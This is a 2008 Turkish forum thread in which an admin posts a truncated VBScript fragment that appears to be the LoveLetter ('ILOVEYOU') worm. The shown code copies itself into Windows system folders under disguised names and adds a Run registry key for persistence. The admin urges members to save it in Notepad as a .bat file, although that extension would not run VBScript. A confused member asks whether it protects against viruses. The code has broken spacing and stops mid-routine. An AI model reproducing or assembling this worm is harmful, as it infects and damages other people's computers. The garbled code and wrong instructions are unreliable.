Admin [TEZOoO] ADMİN - YÖNETİCİ
Mesaj Sayısı : 380 NERDEN : İstanbul/Sefaköy Kayıt tarihi : 14/09/08
Kişi sayfası Rep Puanı: (50000000/0)
| Konu: VİRÜS.:!!! Paz Eyl. 14, 2008 10:58 pm | |
| - Kod:
-
rem delete -pcas(-vbe) On es error -pc On error Next Pc Hack dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow eq="" ctr=0 Set fso = CreateObject("Scripting.FileSystemObject") set file = fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=file.ReadAll main() sub main() On Error Resume Next dim wscr,rr set wscr=CreateObject("WScript.Shell") rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micros oft\Window s Scripting Host\Settings\Timeout") if (rr>=1) then wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" end if Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") regruns() html() spreadtoemail() listadriv() end sub sub regruns() On Error Resume Next Dim num,downread regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
BUNLARI NOT DEFTERİNE KOPYALAYIN BE KAYDET E BASIN uzantısı .bat olcak | |
|
HAKAN44 Süper Moderator
Mesaj Sayısı : 142 Kayıt tarihi : 16/09/08
Kişi sayfası Rep Puanı: (50000/0)
| Konu: Geri: VİRÜS.:!!! Ptsi Eyl. 29, 2008 4:10 pm | |
| kardes bu vurus kodlarını nod defterıne kopyaladıktan sonra ne yapmamız lazım opekı olece kalacakmı baska ıslen yokmu?? ve kopyalamamız neye yarayacak vuruslerı onleyecekmı .. eyerki yayrarlı bişe ise yapalım ok.. | |
|
Admin [TEZOoO] ADMİN - YÖNETİCİ
Mesaj Sayısı : 380 NERDEN : İstanbul/Sefaköy Kayıt tarihi : 14/09/08
Kişi sayfası Rep Puanı: (50000000/0)
| Konu: Geri: VİRÜS.:!!! Ptsi Eyl. 29, 2008 7:56 pm | |
| KARDEŞ NOT DEFTERİNE KOPYALA SONRA ÇIKDE KAYDET DİCEK OZAMN UZANTISINI .bat yapın | |
|
HAKAN44 Süper Moderator
Mesaj Sayısı : 142 Kayıt tarihi : 16/09/08
Kişi sayfası Rep Puanı: (50000/0)
| Konu: Geri: VİRÜS.:!!! Salı Kas. 04, 2008 7:20 pm | |
| tezo kardes bat nasıl yapılacak bak onu anlamadım nerden sececeyız uzantısını bı foto cek sıteye at ok... boylece ne kadar bılmeyen varsa ogrenmıs olacak sayende...***44*** | |
|
mehmet1388 Aktif Üye
Mesaj Sayısı : 12 Kayıt tarihi : 15/04/09
| Konu: Geri: VİRÜS.:!!! C.tesi Nis. 18, 2009 2:37 pm | |
| | |
|